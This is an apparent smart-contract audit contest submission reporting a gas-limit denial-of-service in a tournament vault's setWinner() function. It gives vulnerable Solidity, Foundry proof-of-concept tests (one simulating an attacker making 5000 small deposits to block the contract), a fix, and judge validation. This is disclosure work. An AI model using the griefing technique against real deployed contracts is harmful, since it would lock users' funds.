BriVault
First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

CRITICAL-07: DOS via Gas Limit in setWinner Function

mostafapahlevani93

Root + Impact

The setWinner() function iterates through all users in usersAddress[] array to calculate totalWinnerShares. With sufficient participants, this loop will exceed the block gas limit, permanently preventing the winner from being set.

Description

Normal behavior expects that critical admin functions like setWinner() should be executable regardless of the number of participants. The function should use constant-time operations or batched processing.

The current implementation uses an unbounded loop in _getWinnerShares() that iterates over every address in usersAddress[]. As this array grows, gas consumption increases linearly until it exceeds the block gas limit.

function setWinner(
uint256 countryIndex
) public onlyOwner returns (string memory) {
// ... validation ...
winnerCountryId = countryIndex;
winner = teams[countryIndex];
_setWinner = true;
// @> Calls _getWinnerShares which has unbounded loop
_getWinnerShares();
_setFinallizedVaultBalance();
emit WinnerSet(winner);
return winner;
}
​
function _getWinnerShares() internal returns (uint256) {
// @> Iterates through ALL users - unbounded loop
for (uint256 i = 0; i < usersAddress.length; ++i) {
address user = usersAddress[i];
// @> Each iteration reads storage
totalWinnerShares += userSharesToCountry[user][winnerCountryId];
}
return totalWinnerShares;
}

Risk

Likelihood:

  • Popular tournaments with hundreds or thousands of participants will hit this issue

  • Bug #1 (multiple joinEvent calls) exacerbates this by adding duplicate entries

  • No limit on the number of participants enforced in the contract

  • Attack vector where malicious user creates hundreds of small deposits to DOS the system

Impact:

  • Winner can never be set once participant count exceeds gas limit threshold (~2000-5000 users depending on gas costs)

  • All participant funds permanently locked in contract

  • No winners can withdraw, no resolution possible

  • Contract becomes completely non-functional

  • Entire tournament pool lost with no recovery mechanism

  • Owner cannot salvage the situation even with admin privileges

  • Reputational damage and potential legal liability

  • Attackers can intentionally DOS the system by creating many small deposits

Proof of Concept

// Simulate many participants
function testDOSWithManyParticipants() public {
// Create 3000 users who deposit and join
for (uint256 i = 0; i < 3000; i++) {
address user = address(uint160(i + 1));
token.transfer(user, 1000e18);
vm.startPrank(user);
token.approve(address(vault), 1000e18);
vault.deposit(1000e18, user);
vault.joinEvent(0);
vm.stopPrank();
}
// Event ends
vm.warp(block.timestamp + 11 days);
// Owner tries to set winner
// This transaction will run out of gas
vm.expectRevert(); // OutOfGas
vault.setWinner(0);
// Contract is now permanently broken
// No one can withdraw their funds
}
​
// Malicious user can DOS with small deposits
function testDOSAttack() public {
// Attacker creates 5000 deposits with minimum amount
address attacker = address(0x666);
token.transfer(attacker, 5000 * 101e18);
vm.startPrank(attacker);
token.approve(address(vault), type(uint256).max);
// Create many small positions
for (uint256 i = 0; i < 5000; i++) {
vault.deposit(101e18, attacker); // Just above minimum
vault.joinEvent(0);
}
vm.stopPrank();
// setWinner() now unusable - contract DOSed
vm.warp(block.timestamp + 11 days);
vm.expectRevert(); // OutOfGas
vault.setWinner(0);
}

Recommended Mitigation

Track winner shares incrementally during joinEvent

+mapping(uint256 => uint256) public countryShares; // countryId => total shares
​
function joinEvent(uint256 countryId) public {
// ... existing checks ...
uint256 participantShares = balanceOf(msg.sender);
userSharesToCountry[msg.sender][countryId] = participantShares;
+ // Track shares per country incrementally
+ countryShares[countryId] += participantShares;
usersAddress.push(msg.sender);
numberOfParticipants++;
totalParticipantShares += participantShares;
emit joinedEvent(msg.sender, countryId);
}
​
function setWinner(
uint256 countryIndex
) public onlyOwner returns (string memory) {
// ... existing checks ...
winnerCountryId = countryIndex;
winner = teams[countryIndex];
_setWinner = true;
- _getWinnerShares();
+ // No loop needed - O(1) operation
+ totalWinnerShares = countryShares[countryIndex];
_setFinallizedVaultBalance();
emit WinnerSet(winner);
return winner;
}
​
-function _getWinnerShares() internal returns (uint256) {
- for (uint256 i = 0; i < usersAddress.length; ++i) {
- address user = usersAddress[i];
- totalWinnerShares += userSharesToCountry[user][winnerCountryId];
- }
- return totalWinnerShares;
-}

Best Practice: as it provides O(1) complexity and eliminates the DOS vector entirely.

Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

mostafapahlevani93 Submitter
18 days ago
bube Lead Judge
15 days ago
bube Lead Judge 14 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Unbounded Loop in _getWinnerShares Causes Denial of Service

The _getWinnerShares() function is intended to iterate through all users and sum their shares for the winning country, returning the total.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!